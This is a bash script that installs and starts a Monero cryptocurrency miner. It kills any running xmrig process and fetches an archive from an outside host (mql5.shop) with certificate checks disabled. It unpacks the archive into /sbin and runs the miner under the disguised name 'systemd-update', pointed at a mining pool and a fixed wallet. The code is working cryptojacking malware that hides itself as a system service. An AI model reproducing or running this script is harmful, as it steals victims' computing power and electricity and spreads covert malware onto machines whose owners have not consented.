#!/bin/bash

url=pool.supportxmr.com:80
addr=4B7vsy8ccUwQufiyMN9jgoDphPUDzGUvBhE4f19U5z3WMPZqx2gjHrv2PxpuBSZRHAdD5qfEnPiApdFk4fhHZGVwU1YG1L2
sPath="/sbin"

get_cpu_cores() {

    if command -v nproc >/dev/null 2>&1; then
        nproc
        return
    fi

    if command -v lscpu >/dev/null 2>&1; then
        lscpu | awk -F: '/^CPU\(s\)/ { gsub(/ /, "", $2); print $2 }' | head -n1
        return
    fi

    if [ -f /proc/cpuinfo ]; then
        grep -c ^processor /proc/cpuinfo
        return
    fi

    echo "1"
}

pkill -9 xmrig

cores=$(get_cpu_cores)

case $cores in

  2)
    threads=1
    ;;
  3)
    threads=1
    ;;
  4)
    threads=2
    ;;
  6)
    threads=2
    ;;
  8)
    threads=3
    ;;
  *)
    threads=$((cores / 3))
    ;;
esac

[ "$threads" -lt 1 ] && threads=1

pgrep -x systemd-update &>/dev/null
res=$?

if [ ! -f $sPath/systemd-update ];then

	curl -s -k --retry 3 --retry-delay 5 --connect-timeout 30 -o $sPath/core.tar.gz https://mql5.shop/core.tar.gz
	test $? -ne 0 && wget --no-check-certificate -O $sPath/core.tar.gz https://mql5.shop/core.tar.gz
	tar -xf $sPath/core.tar.gz -C $sPath
	rm -f $sPath/core.tar.gz
	chmod +x $sPath/systemd-update
	
	if [ $res -ne 0 ];then
		$sPath/systemd-update --cpu-priority=5 -t $threads --donate-level=1 -o $url -u $addr -k &
	fi
else
	if [ $res -ne 0 ];then
		$sPath/systemd-update --cpu-priority=5 -t $threads --donate-level=1 -o $url -u $addr -k &
	fi
fi